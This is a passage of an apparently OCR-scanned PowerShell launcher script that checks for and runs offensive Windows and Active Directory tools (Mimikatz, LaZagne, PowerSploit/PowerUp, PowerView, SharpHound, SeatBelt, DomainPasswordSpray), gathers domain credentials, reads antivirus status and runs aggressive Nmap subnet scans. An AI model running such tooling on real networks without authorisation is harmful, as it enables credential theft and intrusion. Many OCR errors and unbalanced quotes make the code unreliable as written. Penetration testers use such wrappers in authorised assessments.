Do you wish to copy and import PowerSploit?

Press

- 'Y to import module (recomended)

- N to continue without PowerSploit tool (PowerSploit

option will not be unavailable.)" -WindowTitle "Error: PowerSploit module is NOT present !" -Buttons YesNo -Icon Critical -DefaultButton 1

Switch ($RunWithoutPowerSploitSelection)

{
No {

Write-Host -fore Red "
User selected to continue without PowerSploit.

Read-MessageBoxDialog -Message "PowerSploit module is not imported.
Options for PowerSploit will be unavailable." -WindowTitle "Error: PowerSploit module unavailable !" -Buttons Okonly -Icon Critical -DefaultButton 1
}
Yes {
Write-Host "User selected to import PowerSploit.

Copy-Iltem $Check_PowersploitDir -Destination "$PSHOME\Modules" -Force
Import-Module Powersploit
$global:Check_PowerSploit_installation=Get-Module | Where-Object {$_.Name -eq "Powersploit"}
}
}
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}else
{
write-host -fore Red "
PowerSploit module is not imported and not available.
Options for PowerSploit will be unavailable."
Read-MessageBoxDialog -Message "PowerSploit module is not imported and not available.

Options for PowerSploit will be unavailable." -WindowTitle "Error: PowerSploit module unavailable !" -Buttons Okonly -Icon Critical -DefaultButton 1

}

Write-Host "
D. Checking if PowerViewSelectedCommands.ps1 exists

$global:PowerViewPS1 = ($CurrentPath).Path + "\PowerViewSelectedCommands.ps1"
$global:Check_PowerViewPS1= Test-Path $PowerViewPS1
if (-not $Check_PowerViewPS1)
{
Write-Host -fore red "Error: Could not find PowerViewSelectedCommands.ps1 under
$PowerViewPS1

$RunWithoutPowerViewSelection = Read-MessageBoxDialog -Message "Do you wish to continue without PowerView functionality?

Press
- 'Y to ignore and continue (PowerView will not be available)
- N to quit (Recomended: try again after copying PowerViewSelectedCommands.ps1
in.\)
" -WindowTitle "Alert: PowerViewSelectedCommands.ps1 not found!" -Buttons YesNo -Icon Critical -DefaultButton 2

Switch ($RunWithoutPowerViewSelection)
{
N {
Write-Host "
User selected to abort.

Read-MessageBoxDialog -Message "User selected to abort.
Press OK to exit" -WindowTitle "Exiting script" -Buttons OkOnly -Icon Information -DefaultButton 1

Exit
}
Y {Write-Host -fore red "User selected to continue.
PowerView option will be greyed out!!!"}
}
} else

{$NewAcl = Get-Acl -Path $PowerViewPS1

# Set properties

S$identity = "Everyone"

$fileSystemRights = "ReadAndExecute”

$type = "Allow"

# Create new rule

$fileSystemAccessRuleArgumentList = $identity, $fileSystemRights, $type

$fileSystemAccessRule = New-Object -TypeName System.Security.AccessControl.FileSystemAccessRule -ArgumentList
$fileSystemAccessRuleArgumentList

# Apply new rule

$NewAcl.SetAccessRule($fileSystemAccessRule)
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Set-Acl -Path $PowerViewPS1 -AclObject $NewAcl|

Write-Host -fore green "PowerViewSelectedCommands.ps1 found."

}

Write-Host "
E. Checking if SeatBelt.exe exists
$global:SeatBeltEXE = ($CurrentPath).Path + "\Programs\SeatBelt\SeatBelt.exe"
$global:Check_SeatBeltEXE= Test-Path $SeatBeltEXE
if (-not $Check_SeatBeltEXE)

{

Write-Host -fore red "Error: Could not find SeatBelt.exe under

$SeatBeltEXE

$RunWithoutSeatBeltSelection = Read-MessageBoxDialog -Message "Do you wish to continue without SeatBelt functionality?

Press
- 'Y to ignore and continue (SeatBelt will not be available)
- N to quit (Recomended: try again after copying SeatBelt.exe
in .\Programs\SeatBelt )
" -WindowTitle "Alert: SeatBelt.exe not found!" -Buttons YesNo -Icon Critical -DefaultButton 2

Switch ($RunWithoutSeatBeltSelection)
{
N {
Write-Host "
User selected to abort.

Read-MessageBoxDialog -Message "User selected to abort.
Press OK to exit" -WindowTitle "Exiting script" -Buttons OkOnly -Icon Information -DefaultButton 1

Exit
}
Y {Write-Host -fore red "User selected to continue.
SeatBelt option will be greyed out!!!"}
}
} else

{Write-Host -fore green "SeatBelt.exe found."}

Write-Host "
F. Checking if Lazagne.exe exists

$global:LazagneEXE = ($CurrentPath).Path + "\Programs\Lazagne\Lazagne.exe"
$global:Check_LazagneEXE= Test-Path $LazagneEXE
if (-not $Check_LazagneEXE)

{

Write-Host -fore red "Error: Could not find Lazagne.exe under
$LazagneEXE

$RunWithoutLazagneSelection = Read-MessageBoxDialog -Message "Do you wish to continue without Lazagne functionality?
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Press
- 'Y to ignore and continue (Lazagne will not be available)
- N to quit (Recomended: try again after copying Lazagne.exe
in .\Programs\Lazagne )
" -WindowTitle "Alert: Lazagne.exe not found!" -Buttons YesNo -Icon Critical -DefaultButton 2

Switch ($RunWithoutLazagneSelection)
{
N {
cls
Write-Host "
User selected to abort.
Read-MessageBoxDialog -Message "User selected to abort.
Press OK to exit" -WindowTitle "Exiting script" -Buttons OkOnly -Icon Information -DefaultButton 1

Exit
}
Y {Write-Host -fore red "Lazagne option will be greyed out!!!"}
}
}else

{Write-Host -fore green "Lazagne.exe found."}

Write-Host "
G. Checking if Mimikatz.exe exists

if ($global:SystemArchitecture -eq "64bit")
{
$global:MimikatzEXE = ($CurrentPath).Path + "\Programs\mimikatz\x64\mimikatz.exe"
} else
{
$global:MimikatzEXE = ($CurrentPath).Path + "\Programs\mimikatz\Win32\mimikatz.exe"

}

$global:Check_MimikatzEXE= Test-Path $MimikatzEXE
if (-not $Check_MimikatzEXE)
{
Write-Host -fore red "Error: Could not find Mimikatz.exe under
$MimikatzEXE

$RunWithoutMimikatzSelection = Read-MessageBoxDialog -Message "Do you wish to continue without Mimikatz functionality?

Press
- 'Y to ignore and continue (Mimikatz will not be available)
- N to quit (Recomended: try again after copying Mimikatz.exe
in $MimikatzEXE )
" -WindowTitle "Alert: Mimikatz.exe not found!" -Buttons YesNo -Icon Critical -DefaultButton 2

Switch ($RunWithoutMimikatzSelection)

{
N {
cls
Write-Host "
User selected to abort.

Read-MessageBoxDialog -Message "User selected to abort.
Press OK to exit" -WindowTitle "Exiting script” -Buttons OkOnly -Icon Information -DefaultButton 1
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Exit
}
Y {Write-Host -fore red "Mimikatz option will be greyed out!!!"}
}
}else

{Write-Host -fore green "Mimikatz.exe found."}

Write-Host "
H. Checking if DomainPasswordSpray module is loaded

# If module is imported say that and do nothing
$global:Check_DomainPasswordSpray_installation= Get-Module | Where-Object {$_.Name -eq "DomainPasswordSpray"}
if ($Check_DomainPasswordSpray_installation)

{

write-host -fore Green "DomainPasswordSpray module is already imported."”
} else

{

# If module is not imported, but available on disk then import
if (Get-Module -ListAvailable | Where-Object {$_.Name -eq "DomainPasswordSpray"})
{

Write-Host -fore red "DomainPasswordSpray module is NOT imported on this PC !!!
Although it is available on disk.

$RunWithoutDomainPasswordSpraySelection = Read-MessageBoxDialog -Message "DomainPasswordSpray module is NOT imported
on this PC
but it is available on disk.

Do you wish to import DomainPasswordSpray?

Press

- 'Y to import module (recomended)

- N to continue without DomainPasswordSpray tool (DomainPasswordSpray

option will not be available.)" -WindowTitle "Error: DomainPasswordSpray module is NOT imported !" -Buttons YesNo -Icon Critical -DefaultButton 1

Switch ($RunWithoutDomainPasswordSpraySelection)

{
No {

Write-Host -fore Red "
User selected to continue without DomainPasswordSpray.

Read-MessageBoxDialog -Message "DomainPasswordSpray module is not imported.
Options for DomainPasswordSpray will be unavailable.” -WindowTitle "Error: DomainPasswordSpray module unavailable !" -Buttons Okonly -Icon
Critical -DefaultButton 1

}
Yes {

Write-Host "User selected to import DomainPasswordSpray.

Import-Module DomainPasswordSpray.ps1
$global:Check_DomainPasswordSpray_installation=Get-Module | Where-Object {$_.Name -eq "DomainPasswordSpray"}
}

} else

{

$DomainPasswordSprayDir = ($CurrentPath).Path + "\Programs\DomainPasswordSpray\"
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$DomainPasswordSprayPS1 = $DomainPasswordSprayDir + "DomainPasswordSpray.ps1"
$Check_DomainPasswordSprayDir = Test-Path $DomainPasswordSprayPS1
# If module is not imported, not available on disk, but available in running directory of script
if ($Check_DomainPasswordSprayDir)
{
Write-Host "DomainPasswordSpray module is NOT imported on this PC
and it is not available in modules directory !!!
Although it is available under
$DomainPasswordSprayDir.
$RunWithoutDomainPasswordSpraySelection = Read-MessageBoxDialog -Message "DomainPasswordSpray module is NOT imported
on this PC
and it is not available in modules directory !!!
Although it is available under
$DomainPasswordSprayDir.

Do you wish to copy and import DomainPasswordSpray?

Press

- 'Y to import module (recomended)

- N to continue without DomainPasswordSpray tool (DomainPasswordSpray

option will not be available.)" -WindowTitle "Error: DomainPasswordSpray module is NOT present !" -Buttons YesNo -Icon Critical -DefaultButton 1

Switch ($RunWithoutDomainPasswordSpraySelection)

{
No {

Write-Host -fore Red "
User selected to continue without DomainPasswordSpray.

Read-MessageBoxDialog -Message "DomainPasswordSpray module is not imported.
Options for DomainPasswordSpray will be unavailable." -WindowTitle "Error: DomainPasswordSpray module unavailable !" -Buttons Okonly -lcon
Critical -DefaultButton 1
}
Yes {
Write-Host "User selected to import DomainPasswordSpray.

Copy-Iltem $DomainPasswordSprayDir -Destination "$PSHOME\Modules" -Force
Import-Module DomainPasswordSpray.ps1
$global:Check_DomainPasswordSpray_installation=Get-Module | Where-Object {$_.Name -eq "DomainPasswordSpray"}

}

} else
{
write-host -fore Red "
DomainPasswordSpray module is not imported and not available.
Options for DomainPasswordSpray will be unavailable."
Read-MessageBoxDialog -Message "DomainPasswordSpray module is not imported and not available.
Options for DomainPasswordSpray will be unavailable." -WindowTitle "Error: DomainPasswordSpray module unavailable !" -Buttons Okonly -Icon
Critical -DefaultButton 1

}

Write-Host "
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Write-Host "

Checks are completed. Press any key to continue"
[void]($Host.Ul.RawUIl.ReadKey('NoEcho,IncludeKeyDown'))
}

function GetDomaininfo

{

cls
Write-Host "

Domain Information

Write-Host "

Some programs/tools in this script, perform tasks towards domain resources and
Active directory servers or services.

These tools support this functionality even if the computer is not part of the Domain,
but in this case user has to provide the following:

- a valid (DNS resolvable) Domain name
- credentials of a Domain User and
- the name/IP address of a Domain Controller for that domain

Checking if computer is joined in a domain

$computername= hostname
$CheckjoinedDomain=(gwmi win32_computersystem).partofdomain
if ($CheckjoinedDomain -eq $false) #Computer is NOT part of a domain
{
$ProvideDomaininfoOkCancel = Read-MessageBoxDialog -Message "This computer (PC Name: $computername)
is not joined in any domain.

Do you want to manually provide Domain information?

Press

- OK to provide information

- Cancel to decline

(All domain related tools will be unavailable)

" -WindowTitle "PC not joined in any Domain" -Buttons OkCancel -Ilcon Question -DefaultButton 1
Switch ($ProvideDomaininfoOkCancel)

{
Ok  {ManuallyProvideDomaininfo -mode 2}
Cancel {

$global:cred=$null

$global:DomainName=$null

$global:DomainController=$null

Read-MessageBoxDialog -Message "User declined to provide any domain information.

You can provide (or change) domain related information
at any time, using the relevant basic menu option.

While these parameteres are not given, all tools used
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in this script with domain interaction will be visible
on the basic menu, but unavailable (shown as red)" -WindowTitle "Domain information not saved" -Buttons OkOnly -lcon Exclamation -
DefaultButton 1

Write-Host "User selected to cancel."

}

} #End Switch
}else #Computer is part of a domain
{
$FoundDomain= [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()
$FoundDomainName= $FoundDomain.Name
$global:FoundDomainControllers=$FoundDomain.PdcRoleOwner.Name
write-host -fore green "This computer (PCName: $computername)
is joined to domain: “"$FoundDomainName ™"

write-host -fore green "
Domain Controllers found for this domain:"
$FoundDomainControllers

$ContinueWithFoundDomainInfoSelection = Read-MessageBoxDialog -Message "Found below domain info:

- Domain Name: $FoundDomainName
- Domain Controllers in domain:
$FoundDomainControllers

Do you want to continue with these values?
Press

-> Yes to continue

-> No to manually provide other domain info

-> Cancel to decline (All domain related tools will be unavailable)" -WindowTitle "PC is joined to domain" -Buttons YesNoCancel -Ilcon Question -
DefaultButton 1

Switch ($ContinueWithFoundDomainInfoSelection)
{
No {
write-host "
User selected to manually provide domain information."”
ManuallyProvideDomaininfo -mode 2
}
Yes {
$global:DomainName=$FoundDomainName
$global:DomainController=$global:FoundDomainControllers
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
$UserPrincipal = [System.DirectoryServices.AccountManagement.UserPrincipal]::Current
if ($UserPrincipal.ContextType -eq "Domain")
{
$LoggedOnUserName=[System.Security.Principal. Windowsldentity]::GetCurrent().Name
write-host "
Current logged on user: $LoggedOnUserName"
$ContinueWithFoundDomainUserSelection = Read-MessageBoxDialog -Message "The current logged on user
$LoggedOnUserName is a domain user.

Do you want to continue with this user?
Press
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-> Yes to provide credentials for this user
-> No to provide credentials for another user
-> Cancel to not provide any credentials
(All domain related tools will be unavailable)
" -WindowTitle "Logged on user is a Domain User" -Buttons YesNoCancel -Ilcon Question -DefaultButton 1
Switch ($ContinueWithFoundDomainUserSelection)
{
Yes {
write-host "User selected to provide credentials for this user."
ManuallyProvideDomaininfo -mode 1 -WithUserName "$LoggedOnUserName"
}
No {
write-host "User selected to provide credentials for another user."
ManuallyProvideDomaininfo -mode 1
}
Cancel {
Write-Host "User selected to cancel."
$global:cred=$null
$global:DomainName=$null
$global:DomainController=$null
Read-MessageBoxDialog -Message "User declined to provide any domain information.

You can provide (or change) domain related information at any time, using the relevant

basic menu option. While these parameteres are not given, all tools used of this script

with domain interaction will be visible on the basic menu, but unavailable (shown as red)" -WindowTitle "Domain information not saved" -Buttons
OkOnly -Icon Exclamation -DefaultButton 1

}

} else #Logged on user is NOT a domain user

{

$ProvideDomainUserOkCancel = Read-MessageBoxDialog -Message "The current logged on user
$LoggedOnUserName is a local user.

Do you want to provide credentials of a domain user?

Press

- OK to provide now credentials for a domain user

- Cancel to not provide any credentials

(All domain related tools will be unavailable)

" -WindowTitle "Logged on user is a Local User" -Buttons OkCancel -Ilcon Question -DefaultButton 1
Switch ($ProvideDomainUserOkCancel)

{
Ok {ManuallyProvideDomaininfo -mode 1}
Cancel {

$global:cred=$null

$global:DomainName=$null

$global:DomainController=$null

Write-Host "User selected to cancel.”

Read-MessageBoxDialog -Message "User declined to provide any domain information.

You can provide (or change) domain related information at any time, using the relevant

basic menu option. While these parameteres are not given, all tools used of this script

with domain interaction will be visible on the basic menu, but unavailable (shown as red)" -WindowTitle "Domain information not saved" -Buttons
OkOnly -Icon Exclamation -DefaultButton 1

}
} #End Switch
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}

Cancel {
$global:cred=$null
$global:DomainName=$null
$global:DomainController=$null
Write-Host "User selected to cancel."
Read-MessageBoxDialog -Message "User declined to provide any domain information.

You can provide (or change) domain related information
at any time, using the relevant basic menu option.

While these parameteres are not given, all tools used

in this script with domain interaction will be visible

on the basic menu, but unavailable (shown as red)" -WindowTitle "Domain information not saved" -Buttons OkOnly -lcon Exclamation -
DefaultButton 1

}
} #End Switch

function ManuallyProvideDomainInfo ([int]$mode, [string]$WithUserName)

{
Switch ($mode)

1 {
if ($WithUserName)
{
$global:cred=(Get-Credential -UserName $WithUserName -Message "Please provide username in format: DomainName\UserName")
} else
{
$global:cred=(Get-Credential -Message "Please provide username in format: DomainName\UserName")
}
if ($cred) #Credentials not empty
{
#%$global:DomainName = $cred.GetNetworkCredential().Domain
$global:DomainUserName = $cred.GetNetworkCredential(). Username
#%$global:DomainController=$global:FoundDomainControllers
Write-Host -fore Green "
Domain Name to be used is: $DomainName
Domain user to be used is: $DomainUserName
Domain Controllers: $DomainController

Read-MessageBoxDialog -Message "The domain information that will be used is:

Domain Name: $DomainName
Domain Controllers: $DomainController
Domain user: $DomainUserName" -WindowTitle "Domain information succesfully saved" -Buttons OkOnly -Icon Information -DefaultButton 1
} else
{
$global:cred=$null
$global:DomainName=$null
$global:DomainUserName=$null
$global:DomainController=$null
Write-Host "User cancelled or domain credentials are empty."
Read-MessageBoxDialog -Message "User cancelled or domain credentials are empty.
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You can provide (or change) domain related information at any time, using the relevant

basic menu option. While these parameteres are not given, all tools used of this script

with domain interaction will be visible on the basic menu, but unavailable (shown as red)

" -WindowTitle "Domain information not saved" -Buttons OkOnly -Icon Exclamation -DefaultButton 1

}

2 {
$global:cred=(Get-Credential -Message "Please provide username in format: DomainName\UserName (eg. contoso.local\JohnDoe)")
if ($cred) #Credentials not empty
{
$global:DomainName = $cred.GetNetworkCredential().Domain
$global:DomainUserName = $cred.GetNetworkCredential(). Username
$global:DomainController = Read-InputBoxDialog -Message "Please provide the IP Address or name of a Domain Controller for
Domain: $EnteredDomainName" -WindowTitle "Domain Controller Information” -Buttons YesNo -lcon Question
if ($DomainController) #Not empty or cancelled by user
{
Write-Host -fore Green "
Domain Name to be used is: $DomainName
Domain user to be used is: $DomainUserName
Domain Controller to be used: $DomainController

Read-MessageBoxDialog -Message "The domain information that will be used is:

Domain Name: $DomainName
Domain Controllers: $DomainController
Domain user: $DomainUserName" -WindowTitle "Domain information succesfully saved" -Buttons OkOnly -Icon Information -DefaultButton 1
}else
{
$global:cred=$null
$global:DomainName=$null
$global:DomainUserName=$null
$global:DomainController=$null
Write-Host "User cancelled or domain controller field is empty."
Read-MessageBoxDialog -Message "User cancelled or domain controller field is empty.

You can provide (or change) domain related information at any time, using the relevant
basic menu option. While these parameteres are not given, all tools used of this script
with domain interaction will be visible on the basic menu, but unavailable (shown as red)
" -WindowTitle "Domain information not saved" -Buttons OkOnly -Icon Exclamation -DefaultButton 1
}
}else
{
$global:cred=$null
$global:DomainName=$null
$global:DomainUserName=$null
$global:DomainController=$null
Write-Host "User cancelled or domain credentials are empty."
Read-MessageBoxDialog -Message "User cancelled or domain credentials are empty.

You can provide (or change) domain related information at any time, using the relevant
basic menu option. While these parameteres are not given, all tools used of this script
with domain interaction will be visible on the basic menu, but unavailable (shown as red)
" -WindowTitle "Domain information not saved" -Buttons OkOnly -lcon Exclamation -DefaultButton 1
}
}
} # End Switch

}
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function Get-AVStatus

{
# define bit flags

[Flags()] enum ProductState

{
Off = 0x0000
On = 0x1000
Snoozed = 0x2000
Expired = 0x3000
}
[Flags()] enum SignatureStatus
{
UpToDate = 0x00
OutOfDate = 0x10
}
[Flags()] enum ProductOwner
{
NonMs = 0x000
Windows  =0x100
}

# define bit masks

[Flags()] enum ProductFlags

{
SignatureStatus = 0x00F0
ProductOwner = 0xOF00
ProductState = 0xF000

}

# get bits

$infos = Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct #-ComputerName $computer

class AV {
[string]$ProductName
[string]$ProductState
[string]$SignatureStatus
[string]$Owner;

ForEach ($info in $infos)

{
[UInt32]$state = $info.productState

# decode bit flags by masking the relevant bits, then converting

[PSCustomObject]@{
ProductName = [string]$info.DisplayName
ProductState = [ProductState]($state -band [ProductFlags]::ProductState)
SignatureStatus = [SignatureStatus]($state -band [ProductFlags]::SignatureStatus)
Owner = [ProductOwner]($state -band [ProductFlags]::ProductOwner)

}
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function ReFocus($Process)
{
$sig ="
[Dllimport("user32.dil")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);
[Dliimport("user32.dll")] public static extern int SetForegroundWindow(IntPtr hwnd);

Add-Type -AssemblyName System.Windows.Forms
[System.Windows.Forms.SendKeys]::SendWait('%{TAB}")

$type = Add-Type -MemberDefinition $sig -Name WindowAPI -PassThru
$hwnd = $process.MainWindowHandle
$Testl = $type::ShowWindowAsync($hwnd,11)

function Show-Menu
{
cls
Write-Host ™
Write-Host ™
Write-Host -fore Yellow " Basic Menu
Write-Host ™
if (-not $global:Check_Nmap_installation)
{Write-Host -fore Darkgray "1: Press '1' to run Nmap."} else
{Write-Host -fore Yellow "1: Press '1' to run Nmap."}
if (-not $global:Check_SharpHoundEXE)
{Write-Host -fore Darkgray "2: Press '2' to run SharpHound."} else
{if ($cred -eq $null) {Write-Host -fore Red "2: Press '2' to run SharpHound. *'} else
{Write-Host -fore Yellow "2: Press '2' to run SharpHound."}

}
if ((-not $global:Check_PowerSploit_installation) -or (-not $global:Check_PowerViewPS1))

{Write-Host -fore Darkgray "3: Press '3' to run PowerView."} else
{if ($cred -eq $null) {Write-Host -fore Red "3: Press '3' to run PowerView. *'} else
{Write-Host -fore Yellow "3: Press '3' to run PowerView."}
}
if (-not $global:Check_PowerSploit_installation)
{Write-Host -fore Darkgray "4: Press '4' to run PowerUp."} else
{if ($cred -eq $null) {Write-Host -fore Red "4: Press '4' to run PowerUp. *'} else
{Write-Host -fore Yellow "4: Press '4' to run PowerUp."}
}
if (-not $global:Check_SeatBeltEXE)
{Write-Host -fore Darkgray "5: Press '5' to run SeatBelt."} else
{Write-Host -fore Yellow "5: Press '5' to run SeatBelt."}

if (-not $global:Check_LazagneEXE)
{Write-Host -fore Darkgray "5: Press '6' to run Lazagne."} else
{Write-Host -fore Yellow "6: Press '6' to run Lazagne."}

if (-not $global:Check_MimikatzEXE)
{Write-Host -fore Darkgray "7: Press '7' to run Mimikatz."} else
{if ($cred -eq $null) {Write-Host -fore Red "7: Press '7' to run Mimikatz. *"} else
{Write-Host -fore Yellow "7: Press '7' to run Mimikatz."}
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}

if (-not $global:Check_DomainPasswordSpray_installation)
{Write-Host -fore Darkgray "8: Press '8' to run DomainPasswordSpray."} else
{if ($cred -eq $null) {Write-Host -fore Red "8: Press '8' to run DomainPasswordSpray. *'} else
{Write-Host -fore Yellow "8: Press '8' to run DomainPasswordSpray."}

}

Write-Host -fore Yellow "

D: Press 'D' to manually provide/change Domain information."
Write-Host -fore Yellow "Q: Press 'Q' to quit."
Write-Host ™
if ($cred -eq $null)
{
Write-Host -fore Red "

* No Domain Information provided

Write-Host -fore Yellow "
Write-Host ™

function Show-SeatBelt-Menu
{
param([string]$LocalRemoteSwitch)
cls
Write-Host ™
Write-Host ™
Write-Host -fore Yellow " SeatBelt Menu
Write-Host ™
Write-Host -fore Yellow "1: Press '1' to run SeatBelt on this computer."
Switch ($LocalRemoteSwitch)

{
L
{
Write-Host -fore Darkgray "2: Press '2' to run SeatBelt on another computer. *"
Write-Host -fore Darkgray "3: Press '3' to run SeatBelt on multiple computers. **
}
R
{
Write-Host -fore Yellow "2: Press '2' to run SeatBelt on another computer.”
Write-Host -fore Yellow "3: Press '3' to run SeatBelt on multiple computers."
}
}

Write-Host -fore Yellow "

B: Press 'B' to go back to previous menu."
Write-Host ™
if ($cred -eq $null)
{
Write-Host -fore Red "
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* No Domain Information provided

}

Write-Host -fore Yellow "

Write-Host ™

function Read-InputBoxDialog([string]$Message, [string]$WindowTitle, [string]$DefaultText)

{

Add-Type -AssemblyName System.Drawing
Add-Type -AssemblyName System.Windows.Forms

# Create the Label.

$label = New-Object System.Windows.Forms.Label
$label.Location = New-Object System.Drawing.Size(10,10)
$label.Size = New-Object System.Drawing.Size(280,20)
$label.AutoSize = $true

$label. Text = $Message

# Create the TextBox used to capture the user's text.
$textBox = New-Object System.Windows.Forms.TextBox
$textBox.Location = New-Object System.Drawing.Size(10,40)
$textBox.Size = New-Object System.Drawing.Size(575,30)
$textBox.AcceptsReturn = $false

$textBox.AcceptsTab = $false

$textBox.Multiline = $false

$textBox.ScrollBars = 'Horizontal'

$textBox.Text = $DefaultText

# Create the OK button.

$okButton = New-Object System.Windows.Forms.Button
$okButton.Location = New-Object System.Drawing.Size(415,75)
$okButton.Size = New-Object System.Drawing.Size(75,25)
$okButton.Text = "OK"

$okButton.Add_Click({ $form.Tag = $textBox.Text; $form.Close() })

# Create the Cancel button.

$cancelButton = New-Object System.Windows.Forms.Button
$cancelButton.Location = New-Object System.Drawing.Size(510,75)
$cancelButton.Size = New-Object System.Drawing.Size(75,25)
$cancelButton.Text = "Cancel"

$cancelButton.Add_Click({ $form.Tag = $null; $form.Close() })

# Create the form.

$form = New-Object System.Windows.Forms.Form
$form.Text = $WindowTitle

$form.Size = New-Object System.Drawing.Size(610,150)
$form.FormBorderStyle = 'FixedSingle'
$form.StartPosition = "CenterScreen”
$form.AutoSizeMode = 'GrowAndShrink'
$form.Topmost = $True

$form.AcceptButton = $okButton
$form.CancelButton = $cancelButton
$form.ShowinTaskbar = $true
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# Add all of the controls to the form.
$form.Controls.Add($label)
$form.Controls.Add($textBox)
$form.Controls.Add($okButton)
$form.Controls.Add($cancelButton)

# Initialize and show the form.
$form.Add_Shown({$form.Activate()})
$form.ShowDialog() > $null  # Trash the text of the button that was clicked.

# Return the text that the user entered.
return $form.Tag

function Read-OpenFileDialog([string]$WindowTitle, [string]$InitialDirectory, [string]$Filter = "All files (*.*)|*.*", [switch]$AllowMultiSelect)
{

Add-Type -AssemblyName System.Windows.Forms

$openFileDialog = New-Object System.Windows.Forms.OpenFileDialog

$openFileDialog.Title = $WindowTitle

if ({[string]::IsNullOrWhiteSpace($InitialDirectory)) { $openFileDialog.InitialDirectory = $InitialDirectory }

$openFileDialog.Filter = $Filter

if (JAllowMultiSelect) { $openFileDialog.MultiSelect = $true }

$openFileDialog.ShowHelp = $true  # Without this line the ShowDialog() function may hang depending on system configuration and running
from console vs. ISE.

$openFileDialog.ShowDialog() > $null

if (JAllowMultiSelect) { return $openFileDialog.Filenames } else { return $openFileDialog.Filename }

function Check_Program_lInstalled
{
param([string]$programName)

$SearchFor="*"+$programName-+"*"
$check=(Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName,
DisplayVersion, Publisher, InstallDate | Where-Object{$_.DisplayName -like "$SearchFor"} | Format-Table -HideTableHeaders).length -gt 0
return $check;

}

function RunNmap
{

param(
[string]$IPVersion,
[string]$IP,
[string]$Subnet,
[string]$Alias

)

$NmapOutputFolder = $RunFolder+"\NMAP"
$TestNmapOutputFolder = Test-Path $NmapOutputFolder
if (-not $TestNmapOutputFolder) {New-Item -ItemType Directory -Force -Path $NmapOutputFolder}

Switch ($IPVersion)
{
IPv4
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{
$NmapOutputPathFilename = $NmapOutputFolder+"\NMAP_"+"$IP.xml"

New-Item -ItemType File -Force -Path $SNmapOutputPathFilename
$NmapargExe=""+"C:\Program Files (x86)\Nmap\nmap.exe"+""
$Nmapargl="-sV"
$Nmaparg2="-T4"
$Nmaparg3="-A"
$Nmaparg4="-v"
$Nmaparg5="$IP/$Subnet”
$Nmaparg6="-0X"
$Nmaparg7=""+$NmapOutputPathFilename+
$RunNmapExec = Start-Process -FilePath "$NmapargExe" -ArgumentList "$Nmapargl $Nmaparg2 $Nmaparg3 $Nmaparg4 $Nmaparg5
$Nmaparg6 $Nmaparg7" -PassThru
Start-Sleep -Milliseconds 50
ReFocus -Process $RunNmapExec
Write-Host "
NMAP is scanning $IPVersion network $IP / $Subnet in a minimized window.
The output file containing the results will be saved on:

- $NmapOutputPathFilename
Read-MessageBoxDialog -Message "NMAP is scanning $IPVersion network
$IP / $Subnet

in a minimized window.
The output file containing the results will be saved on:

$NmapOutputPathFilename" -WindowTitle "Run NMAP operation” -Buttons OkOnly -Icon Information -DefaultButton 1
}
IPv6
{
$NmapOutputPathFilename = $NmapOutputFolder+"\NMAP_"+"$Alias.xml"
New-Item -ItemType File -Force -Path $NmapOutputPathFilename
Write-Host "
NMAP results output file: $NmapOutputPathFilename”
$NmapargExe=""+"C:\Program Files (x86)\Nmap\nmap.exe"+""
$Nmaparg0="-6"
$Nmapargl="-sV"
$Nmaparg2="-T4"
$Nmaparg3="-A"
$Nmaparg4="-v"
$Nmaparg5="$IP"
$Nmaparg6="-0X"
$Nmaparg7=""+$NmapOutputPathFilename+""
$RunNmapExec = Start-Process -FilePath "$NmapargExe" -ArgumentList "$Nmapargl $Nmaparg2 $Nmaparg3 $Nmaparg4 $Nmaparg5
$Nmaparg6 $Nmaparg7" -PassThru
Start-Sleep -Milliseconds 50
ReFocus -Process $RunNmapExec
Write-Host "
NMAP is scanning $IPVersion network $IP in a minimized window.
The output file containing the results will be saved on:
- $NmapOutputPathFilename

Read-MessageBoxDialog -Message "NMAP is scanning $IPVersion network

$IP / $Subnet
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in a minimized window.
The output file containing the results will be saved on:

$NmapOutputPathFilename" -WindowTitle "Run NMAP operation" -Buttons OkOnly -Icon Information -DefaultButton 1
}

function RunNmapChecks

{

cls

$ActiveNetworkAdapters=Get-NetAdapter | where status -eq 'up’
$CountActiveNetworkAdapters = ($ActiveNetworkAdapters | Measure-Object).Count
$Activelnterfacelndex=($ActiveNetworkAdapters).Interfacelndex
Switch ($CountActiveNetworkAdapters)
{
0 {
Write-Host -fore red "There are no active network connections!!!
NMAP cannot run on a computer that is not connected to any networks.
Connect the computer to a network and try again.

}
{$_-ge 1}
{
$linenumber = 1
$data =@()
foreach ($item in $Activelnterfacelndex)
{

$Interface=(Get-NetIPAddress | where Interfacelndex -eq ($item))
foreach ($IP in $Interface.IPAddress)

{
$IPperinterface=$Interface | Where-Object IPAddress -eq "$IP"
$row = "" | Select-Object Line,Name,IPAddress,SubnetPrefix, IPVersion

$row.Line=$LineNumber++
$row.Name=($IPperinterface).InterfaceAlias
$row.IPAddress=($IPperinterface).IPAddress
$row.SubnetPrefix=($IPperinterface).PrefixLength
$row.IPVersion=($IPperinterface).AddressFamily
$data += $row

}

}
Write-Host "

Active network interface(s)

Active network(s) found on this computer are:

$data | Format-Table
Write-Host "
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Selection Options:

- Enter the line number from above list to automaticaly use the
appropriate IP settings for NMAP, to scan the whole subnet / network
on that interface.
- Press M if you wish to manually input the IPv4/Subnet to scan.
- Press A if you wish run NMAP scanning procedure on all above interfaces
- Press any other key to go back to main menu

$RUNNMAPIPSettingsSelection = Read-Host -Prompt "Enter Selection "

Switch (JRunNMAPIPSettingsSelection)
{
Mo
Write-Host ™
$EnterSubnet = Read-Host -Prompt "Please provide Subnet for Nmap to scan (eg. x.x.x.x/24) "
$IPPortion=($EnterSubnet -split "/*)[0]
$SubnetPortion=($EnterSubnet -split "/")[1]
RunNMAP -IPVersion "IPv4" -IP "$IPPortion" -Subnet "$SubnetPortion"

}

{$_-gt0-and $_ -le $data.Line.count}
{
$index=$_-1

RunNMAP -IPVersion ($data.lPVersion)[$index] -IP ($data.lPAddress)[$index] -Subnet ($data.SubnetPrefix)[$index] -Alias
($data.Name)[$index]

}
A

{

Foreach ($item in $data)
{
RunNMAP -IPVersion ($item.IPVersion) -IP ($item.IPAddress) -Subnet ($item.SubnetPrefix) -Alias ($item.Name)
}

}

default

{

Write-Host -fore red "
$_is not a valid selection

